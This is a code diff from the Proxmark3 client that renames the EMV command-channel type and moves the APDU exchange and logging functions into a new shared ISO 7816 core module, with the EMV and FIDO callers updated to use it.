CLIGetHexWithReturn(ctx, 9, data, &datalen);
|
||||
|
@ -541,9 +541,9 @@ static int CmdEMVGenerateChallenge(const char *Cmd) {
|
|||
|
||||
bool leaveSignalON = arg_get_lit(ctx, 1);
|
||||
bool APDULogging = arg_get_lit(ctx, 2);
|
||||
EMVCommandChannel channel = ECC_CONTACTLESS;
|
||||
Iso7816CommandChannel channel = CC_CONTACTLESS;
|
||||
if (arg_get_lit(ctx, 3))
|
||||
channel = ECC_CONTACT;
|
||||
channel = CC_CONTACT;
|
||||
PrintChannel(channel);
|
||||
CLIParserFree(ctx);
|
||||
|
||||
|
@ -600,9 +600,9 @@ static int CmdEMVInternalAuthenticate(const char *Cmd) {
|
|||
bool dataMakeFromDDOL = arg_get_lit(ctx, 3);
|
||||
bool APDULogging = arg_get_lit(ctx, 4);
|
||||
bool decodeTLV = arg_get_lit(ctx, 5);
|
||||
EMVCommandChannel channel = ECC_CONTACTLESS;
|
||||
Iso7816CommandChannel channel = CC_CONTACTLESS;
|
||||
if (arg_get_lit(ctx, 6))
|
||||
channel = ECC_CONTACT;
|
||||
channel = CC_CONTACT;
|
||||
PrintChannel(channel);
|
||||
CLIGetHexWithReturn(ctx, 7, data, &datalen);
|
||||
CLIParserFree(ctx);
|
||||
|
@ -841,15 +841,15 @@ static int CmdEMVExec(const char *Cmd) {
|
|||
TrType = TT_VSDC;
|
||||
|
||||
bool GenACGPO = arg_get_lit(ctx, 10);
|
||||
EMVCommandChannel channel = ECC_CONTACTLESS;
|
||||
Iso7816CommandChannel channel = CC_CONTACTLESS;
|
||||
if (arg_get_lit(ctx, 11))
|
||||
channel = ECC_CONTACT;
|
||||
channel = CC_CONTACT;
|
||||
PrintChannel(channel);
|
||||
uint8_t psenum = (channel == ECC_CONTACT) ? 1 : 2;
|
||||
uint8_t psenum = (channel == CC_CONTACT) ? 1 : 2;
|
||||
CLIParserFree(ctx);
|
||||
|
||||
if (!IfPm3Smartcard()) {
|
||||
if (channel == ECC_CONTACT) {
|
||||
if (channel == CC_CONTACT) {
|
||||
PrintAndLogEx(WARNING, "PM3 does not have SMARTCARD support. Exiting.");
|
||||
return PM3_EDEVNOTSUPP;
|
||||
}
|
||||
|
@ -1463,13 +1463,13 @@ static int CmdEMVScan(const char *Cmd) {
|
|||
bool GenACGPO = arg_get_lit(ctx, 9);
|
||||
bool MergeJSON = arg_get_lit(ctx, 10);
|
||||
|
||||
EMVCommandChannel channel = ECC_CONTACTLESS;
|
||||
Iso7816CommandChannel channel = CC_CONTACTLESS;
|
||||
if (arg_get_lit(ctx, 11))
|
||||
channel = ECC_CONTACT;
|
||||
channel = CC_CONTACT;
|
||||
|
||||
PrintChannel(channel);
|
||||
|
||||
uint8_t psenum = (channel == ECC_CONTACT) ? 1 : 2;
|
||||
uint8_t psenum = (channel == CC_CONTACT) ? 1 : 2;
|
||||
|
||||
uint8_t filename[FILE_PATH_SIZE] = {0};
|
||||
int filenamelen = sizeof(filename);
|
||||
|
@ -1478,7 +1478,7 @@ static int CmdEMVScan(const char *Cmd) {
|
|||
CLIParserFree(ctx);
|
||||
|
||||
if (!IfPm3Smartcard()) {
|
||||
if (channel == ECC_CONTACT) {
|
||||
if (channel == CC_CONTACT) {
|
||||
PrintAndLogEx(WARNING, "PM3 does not have SMARTCARD support, exiting");
|
||||
return PM3_EDEVNOTSUPP;
|
||||
}
|
||||
|
@ -1511,7 +1511,7 @@ static int CmdEMVScan(const char *Cmd) {
|
|||
|
||||
JsonSaveStr(root, "$.File.Created", "proxmark3 `emv scan`");
|
||||
|
||||
if (channel == ECC_CONTACTLESS) {
|
||||
if (channel == CC_CONTACTLESS) {
|
||||
// iso 14443 select
|
||||
PrintAndLogEx(INFO, "GET UID, ATS");
|
||||
|
||||
|
@ -1868,22 +1868,22 @@ static int CmdEMVRoca(const char *Cmd) {
|
|||
|
||||
bool show_apdu = arg_get_lit(ctx, 2);
|
||||
|
||||
EMVCommandChannel channel = ECC_CONTACTLESS;
|
||||
Iso7816CommandChannel channel = CC_CONTACTLESS;
|
||||
if (arg_get_lit(ctx, 3))
|
||||
channel = ECC_CONTACT;
|
||||
channel = CC_CONTACT;
|
||||
|
||||
CLIParserFree(ctx);
|
||||
PrintChannel(channel);
|
||||
|
||||
if (!IfPm3Smartcard()) {
|
||||
if (channel == ECC_CONTACT) {
|
||||
if (channel == CC_CONTACT) {
|
||||
PrintAndLogEx(WARNING, "PM3 does not have SMARTCARD support, exiting");
|
||||
return PM3_EDEVNOTSUPP;
|
||||
}
|
||||
}
|
||||
|
||||
// select card
|
||||
uint8_t psenum = (channel == ECC_CONTACT) ? 1 : 2;
|
||||
uint8_t psenum = (channel == CC_CONTACT) ? 1 : 2;
|
||||
|
||||
SetAPDULogging(show_apdu);
|
||||
|
||||
|
|
|
@ -131,16 +131,6 @@ static const TAIDList AIDlist [] = {
|
|||
{ CV_OTHER, "F0000000030001" }, // BRADESCO - Brazilian Bank Banco Bradesco
|
||||
};
|
||||
|
||||
//iceman: this logging setting, should be unified with client debug etc.
|
||||
static bool APDULogging = false;
|
||||
void SetAPDULogging(bool logging) {
|
||||
APDULogging = logging;
|
||||
}
|
||||
|
||||
bool GetAPDULogging(void) {
|
||||
return APDULogging;
|
||||
}
|
||||
|
||||
enum CardPSVendor GetCardPSVendor(uint8_t *AID, size_t AIDlen) {
|
||||
char buf[100] = {0};
|
||||
if (AIDlen < 1)
|
||||
|
@ -275,90 +265,37 @@ struct tlvdb *GetdCVVRawFromTrack2(const struct tlv *track2) {
|
|||
return tlvdb_fixed(0x02, dCVVlen, dCVV);
|
||||
}
|
||||
|
||||
static int EMVExchangeEx(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
uint8_t data[APDU_RES_LEN] = {0};
|
||||
|
||||
*ResultLen = 0;
|
||||
if (sw) *sw = 0;
|
||||
uint16_t isw = 0;
|
||||
int res = 0;
|
||||
|
||||
if (ActivateField) {
|
||||
DropFieldEx(channel);
|
||||
msleep(50);
|
||||
}
|
||||
|
||||
// COMPUTE APDU
|
||||
int datalen = 0;
|
||||
if (APDUEncodeS(&apdu, false, IncludeLe ? 0x100 : 0x00, data, &datalen)) {
|
||||
PrintAndLogEx(ERR, "APDU encoding error.");
|
||||
return 201;
|
||||
}
|
||||
|
||||
if (APDULogging)
|
||||
PrintAndLogEx(SUCCESS, ">>>> %s", sprint_hex(data, datalen));
|
||||
|
||||
switch (channel) {
|
||||
case ECC_CONTACTLESS:
|
||||
res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen);
|
||||
if (res != PM3_SUCCESS) {
|
||||
res = exchange_14b_apdu(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen, 4000);
|
||||
if (res != PM3_SUCCESS)
|
||||
return res;
|
||||
}
|
||||
break;
|
||||
case ECC_CONTACT:
|
||||
res = 1;
|
||||
if (IfPm3Smartcard())
|
||||
res = ExchangeAPDUSC(false, data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen);
|
||||
|
||||
if (res) {
|
||||
return res;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
if (APDULogging)
|
||||
PrintAndLogEx(SUCCESS, "<<<< %s", sprint_hex(Result, *ResultLen));
|
||||
|
||||
if (*ResultLen < 2) {
|
||||
return 200;
|
||||
}
|
||||
|
||||
*ResultLen -= 2;
|
||||
isw = Result[*ResultLen] * 0x0100 + Result[*ResultLen + 1];
|
||||
if (sw)
|
||||
*sw = isw;
|
||||
|
||||
if (isw != 0x9000) {
|
||||
if (APDULogging) {
|
||||
if (*sw >> 8 == 0x61) {
|
||||
PrintAndLogEx(ERR, "APDU chaining len:%02x -->", *sw & 0xff);
|
||||
} else {
|
||||
PrintAndLogEx(ERR, "APDU(%02x%02x) ERROR: [%4X] %s", apdu.CLA, apdu.INS, isw, GetAPDUCodeDescription(*sw >> 8, *sw & 0xff));
|
||||
return 5;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static int EMVExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
int res = Iso7816ExchangeEx(channel, ActivateField, LeaveFieldON, apdu, IncludeLe, 0, Result, MaxResultLen, ResultLen, sw);
|
||||
// add to tlv tree
|
||||
if (tlv) {
|
||||
if ((res == PM3_SUCCESS) && tlv) {
|
||||
struct tlvdb *t = tlvdb_parse_multi(Result, *ResultLen);
|
||||
tlvdb_add(tlv, t);
|
||||
}
|
||||
|
||||
return 0;
|
||||
return res;
|
||||
}
|
||||
|
||||
int EMVExchange(EMVCommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
return EMVExchangeEx(channel, false, LeaveFieldON, apdu, false, Result, MaxResultLen, ResultLen, sw, tlv);
|
||||
int EMVExchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
int res = Iso7816Exchange(channel, LeaveFieldON, apdu, Result, MaxResultLen, ResultLen, sw);
|
||||
// add to tlv tree
|
||||
if ((res == PM3_SUCCESS) && tlv) {
|
||||
struct tlvdb *t = tlvdb_parse_multi(Result, *ResultLen);
|
||||
tlvdb_add(tlv, t);
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
int EMVSelect(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
return EMVExchangeEx(channel, ActivateField, LeaveFieldON, (sAPDU) {0x00, 0xa4, 0x04, 0x00, AIDLen, AID}, (channel == ECC_CONTACTLESS), Result, MaxResultLen, ResultLen, sw, tlv);
|
||||
int EMVSelect(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
int res = Iso7816Select(channel, ActivateField, LeaveFieldON, AID, AIDLen, Result, MaxResultLen, ResultLen, sw);
|
||||
// add to tlv tree
|
||||
if ((res == PM3_SUCCESS) && tlv) {
|
||||
struct tlvdb *t = tlvdb_parse_multi(Result, *ResultLen);
|
||||
tlvdb_add(tlv, t);
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
int EMVSelectPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
int EMVSelectPSE(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
uint8_t buf[APDU_AID_LEN] = {0};
|
||||
*ResultLen = 0;
|
||||
int len = 0;
|
||||
|
@ -375,7 +312,7 @@ int EMVSelectPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldO
|
|||
return EMVSelect(channel, ActivateField, LeaveFieldON, buf, len, Result, MaxResultLen, ResultLen, sw, NULL);
|
||||
}
|
||||
|
||||
static int EMVSelectWithRetry(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
static int EMVSelectWithRetry(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
int retrycnt = 0;
|
||||
int res = 0;
|
||||
do {
|
||||
|
@ -402,7 +339,7 @@ static int EMVSelectWithRetry(EMVCommandChannel channel, bool ActivateField, boo
|
|||
return res;
|
||||
}
|
||||
|
||||
static int EMVCheckAID(EMVCommandChannel channel, bool decodeTLV, struct tlvdb *tlvdbelm, struct tlvdb *tlv) {
|
||||
static int EMVCheckAID(Iso7816CommandChannel channel, bool decodeTLV, struct tlvdb *tlvdbelm, struct tlvdb *tlv) {
|
||||
uint8_t data[APDU_RES_LEN] = {0};
|
||||
size_t datalen = 0;
|
||||
int res = 0;
|
||||
|
@ -434,7 +371,7 @@ static int EMVCheckAID(EMVCommandChannel channel, bool decodeTLV, struct tlvdb *
|
|||
return res;
|
||||
}
|
||||
|
||||
int EMVSearchPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, bool decodeTLV, struct tlvdb *tlv) {
|
||||
int EMVSearchPSE(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, bool decodeTLV, struct tlvdb *tlv) {
|
||||
uint8_t data[APDU_RES_LEN] = {0};
|
||||
size_t datalen = 0;
|
||||
uint8_t sfidata[0x11][APDU_RES_LEN];
|
||||
|
@ -529,7 +466,7 @@ int EMVSearchPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldO
|
|||
return res;
|
||||
}
|
||||
|
||||
int EMVSearch(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, bool decodeTLV, struct tlvdb *tlv) {
|
||||
int EMVSearch(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, bool decodeTLV, struct tlvdb *tlv) {
|
||||
uint8_t aidbuf[APDU_AID_LEN] = {0};
|
||||
int aidlen = 0;
|
||||
uint8_t data[APDU_RES_LEN] = {0};
|
||||
|
@ -625,11 +562,11 @@ int EMVSelectApplication(struct tlvdb *tlv, uint8_t *AID, size_t *AIDlen) {
|
|||
return 0;
|
||||
}
|
||||
|
||||
int EMVGPO(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *PDOL, size_t PDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
int EMVGPO(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *PDOL, size_t PDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
return EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x80, 0xa8, 0x00, 0x00, PDOLLen, PDOL}, true, Result, MaxResultLen, ResultLen, sw, tlv);
|
||||
}
|
||||
|
||||
int EMVReadRecord(EMVCommandChannel channel, bool LeaveFieldON, uint8_t SFI, uint8_t SFIrec, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
int EMVReadRecord(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t SFI, uint8_t SFIrec, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
int res = EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x00, 0xb2, SFIrec, (SFI << 3) | 0x04, 0, NULL}, true, Result, MaxResultLen, ResultLen, sw, tlv);
|
||||
if (*sw == 0x6700 || *sw == 0x6f00) {
|
||||
PrintAndLogEx(INFO, ">>> trying to reissue command without Le...");
|
||||
|
@ -638,11 +575,11 @@ int EMVReadRecord(EMVCommandChannel channel, bool LeaveFieldON, uint8_t SFI, uin
|
|||
return res;
|
||||
}
|
||||
|
||||
int EMVAC(EMVCommandChannel channel, bool LeaveFieldON, uint8_t RefControl, uint8_t *CDOL, size_t CDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
int EMVAC(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t RefControl, uint8_t *CDOL, size_t CDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
return EMVExchange(channel, LeaveFieldON, (sAPDU) {0x80, 0xae, RefControl, 0x00, CDOLLen, CDOL}, Result, MaxResultLen, ResultLen, sw, tlv);
|
||||
}
|
||||
|
||||
int EMVGenerateChallenge(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
int EMVGenerateChallenge(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
int res = EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x00, 0x84, 0x00, 0x00, 0x00, NULL}, true, Result, MaxResultLen, ResultLen, sw, tlv);
|
||||
if (*sw == 0x6700 || *sw == 0x6f00) {
|
||||
PrintAndLogEx(INFO, ">>> trying to reissue command without Le...");
|
||||
|
@ -651,11 +588,11 @@ int EMVGenerateChallenge(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *
|
|||
return res;
|
||||
}
|
||||
|
||||
int EMVInternalAuthenticate(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *DDOL, size_t DDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
int EMVInternalAuthenticate(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *DDOL, size_t DDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
return EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x00, 0x88, 0x00, 0x00, DDOLLen, DDOL}, true, Result, MaxResultLen, ResultLen, sw, tlv);
|
||||
}
|
||||
|
||||
int MSCComputeCryptoChecksum(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *UDOL, uint8_t UDOLlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
int MSCComputeCryptoChecksum(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *UDOL, uint8_t UDOLlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
|
||||
int res = EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x80, 0x2a, 0x8e, 0x80, UDOLlen, UDOL}, true, Result, MaxResultLen, ResultLen, sw, tlv);
|
||||
if (*sw == 0x6700 || *sw == 0x6f00) {
|
||||
PrintAndLogEx(INFO, ">>> trying to reissue command without Le...");
|
||||
|
@ -725,7 +662,7 @@ int trSDA(struct tlvdb *tlv) {
|
|||
static const unsigned char default_ddol_value[] = {0x9f, 0x37, 0x04};
|
||||
static struct tlv default_ddol_tlv = {.tag = 0x9f49, .len = 3, .value = default_ddol_value };
|
||||
|
||||
int trDDA(EMVCommandChannel channel, bool decodeTLV, struct tlvdb *tlv) {
|
||||
int trDDA(Iso7816CommandChannel channel, bool decodeTLV, struct tlvdb *tlv) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
|
|
|
@ -16,17 +16,10 @@
|
|||
#include <inttypes.h>
|
||||
#include <jansson.h>
|
||||
|
||||
#include "apduinfo.h"
|
||||
#include "iso7816/apduinfo.h"
|
||||
#include "iso7816/iso7816core.h"
|
||||
#include "emv_pki.h"
|
||||
|
||||
#define APDU_RES_LEN 260
|
||||
#define APDU_AID_LEN 50
|
||||
|
||||
typedef enum {
|
||||
ECC_CONTACTLESS,
|
||||
ECC_CONTACT
|
||||
} EMVCommandChannel;
|
||||
|
||||
enum TransactionType {
|
||||
TT_MSD,
|
||||
TT_VSDC, // contact only. not standard for contactless
|
||||
|
@ -56,39 +49,32 @@ void TLVPrintAIDlistFromSelectTLV(struct tlvdb *tlv);
|
|||
struct tlvdb *GetPANFromTrack2(const struct tlv *track2);
|
||||
struct tlvdb *GetdCVVRawFromTrack2(const struct tlv *track2);
|
||||
|
||||
void SetAPDULogging(bool logging);
|
||||
bool GetAPDULogging(void);
|
||||
|
||||
// exchange
|
||||
int EMVExchange(EMVCommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
int EMVExchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
|
||||
// search application
|
||||
int EMVSearchPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, bool decodeTLV, struct tlvdb *tlv);
|
||||
int EMVSearch(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, bool decodeTLV, struct tlvdb *tlv);
|
||||
int EMVSelectPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
int EMVSelect(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
int EMVSearchPSE(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, bool decodeTLV, struct tlvdb *tlv);
|
||||
int EMVSearch(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, bool decodeTLV, struct tlvdb *tlv);
|
||||
int EMVSelectPSE(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
int EMVSelect(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
// select application
|
||||
int EMVSelectApplication(struct tlvdb *tlv, uint8_t *AID, size_t *AIDlen);
|
||||
// Get Processing Options
|
||||
int EMVGPO(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *PDOL, size_t PDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
int EMVReadRecord(EMVCommandChannel channel, bool LeaveFieldON, uint8_t SFI, uint8_t SFIrec, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
int EMVGPO(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *PDOL, size_t PDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
int EMVReadRecord(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t SFI, uint8_t SFIrec, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
// AC
|
||||
int EMVGenerateChallenge(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
int EMVAC(EMVCommandChannel channel, bool LeaveFieldON, uint8_t RefControl, uint8_t *CDOL, size_t CDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
int EMVGenerateChallenge(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
int EMVAC(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t RefControl, uint8_t *CDOL, size_t CDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
// DDA
|
||||
int EMVInternalAuthenticate(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *DDOL, size_t DDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
int EMVInternalAuthenticate(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *DDOL, size_t DDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
// Mastercard
|
||||
int MSCComputeCryptoChecksum(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *UDOL, uint8_t UDOLlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
int MSCComputeCryptoChecksum(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *UDOL, uint8_t UDOLlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
|
||||
// Auth
|
||||
int trSDA(struct tlvdb *tlv);
|
||||
int trDDA(EMVCommandChannel channel, bool decodeTLV, struct tlvdb *tlv);
|
||||
int trDDA(Iso7816CommandChannel channel, bool decodeTLV, struct tlvdb *tlv);
|
||||
int trCDA(struct tlvdb *tlv, struct tlvdb *ac_tlv, struct tlv *pdol_data_tlv, struct tlv *ac_data_tlv);
|
||||
|
||||
int RecoveryCertificates(struct tlvdb *tlvRoot, json_t *root);
|
||||
|
||||
struct emv_pk *get_ca_pk(struct tlvdb *db);
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
|
@ -14,7 +14,7 @@
|
|||
|
||||
#include "commonutil.h" // ARRAYLEN
|
||||
|
||||
#include "emv/emvcore.h"
|
||||
#include "iso7816/iso7816core.h"
|
||||
#include "emv/emvjson.h"
|
||||
#include "cbortools.h"
|
||||
#include "x509_crt.h"
|
||||
|
@ -172,17 +172,17 @@ const char *fido2GetCmdMemberDescription(uint8_t cmdCode, bool isResponse, int m
|
|||
int FIDOSelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
uint8_t data[] = {0xA0, 0x00, 0x00, 0x06, 0x47, 0x2F, 0x00, 0x01};
|
||||
|
||||
return EMVSelect(ECC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw, NULL);
|
||||
return Iso7816Select(CC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int FIDOExchange(sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
int res = EMVExchange(ECC_CONTACTLESS, true, apdu, Result, MaxResultLen, ResultLen, sw, NULL);
|
||||
int res = Iso7816Exchange(CC_CONTACTLESS, true, apdu, Result, MaxResultLen, ResultLen, sw);
|
||||
if (res == 5) // apdu result (sw) not a 0x9000
|
||||
res = 0;
|
||||
// software chaining
|
||||
while (!res && (*sw >> 8) == 0x61) {
|
||||
size_t oldlen = *ResultLen;
|
||||
res = EMVExchange(ECC_CONTACTLESS, true, (sAPDU) {0x00, 0xC0, 0x00, 0x00, 0x00, NULL}, &Result[oldlen], MaxResultLen - oldlen, ResultLen, sw, NULL);
|
||||
res = Iso7816Exchange(CC_CONTACTLESS, true, (sAPDU) {0x00, 0xC0, 0x00, 0x00, 0x00, NULL}, &Result[oldlen], MaxResultLen - oldlen, ResultLen, sw);
|
||||
if (res == 5) // apdu result (sw) not a 0x9000
|
||||
res = 0;
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
#include "common.h"
|
||||
|
||||
#include <jansson.h>
|
||||
#include "emv/apduinfo.h" // sAPDU
|
||||
#include "iso7816/apduinfo.h" // sAPDU
|
||||
|
||||
typedef enum {
|
||||
fido2CmdMakeCredential = 0x01,
|
||||
|
|
167
client/src/iso7816/iso7816core.c
Normal file
167
client/src/iso7816/iso7816core.c
Normal file
|
@ -0,0 +1,167 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2017 Merlok
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// ISO7816 core functions
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "iso7816core.h"
|
||||
|
||||
#include <string.h>
|
||||
|
||||
#include "commonutil.h" // ARRAYLEN
|
||||
#include "comms.h" // DropField
|
||||
#include "cmdparser.h"
|
||||
#include "cmdsmartcard.h" // ExchangeAPDUSC
|
||||
#include "ui.h"
|
||||
#include "cmdhf14a.h"
|
||||
#include "cmdhf14b.h"
|
||||
#include "iso14b.h" // iso14b_raw_cmd_t
|
||||
#include "util_posix.h"
|
||||
|
||||
//iceman: this logging setting, should be unified with client debug etc.
|
||||
static bool APDULogging = false;
|
||||
void SetAPDULogging(bool logging) {
|
||||
APDULogging = logging;
|
||||
}
|
||||
|
||||
bool GetAPDULogging(void) {
|
||||
return APDULogging;
|
||||
}
|
||||
|
||||
static isodep_state_t isodep_state = ISODEP_INACTIVE;
|
||||
|
||||
void SetISODEPState(isodep_state_t state) {
|
||||
isodep_state = state;
|
||||
if (APDULogging) {
|
||||
PrintAndLogEx(SUCCESS, ">>>> ISODEP -> %s%s%s", isodep_state == ISODEP_INACTIVE ? "inactive" : "", isodep_state == ISODEP_NFCA ? "NFC-A" : "", isodep_state == ISODEP_NFCB ? "NFC-B" : "");
|
||||
}
|
||||
}
|
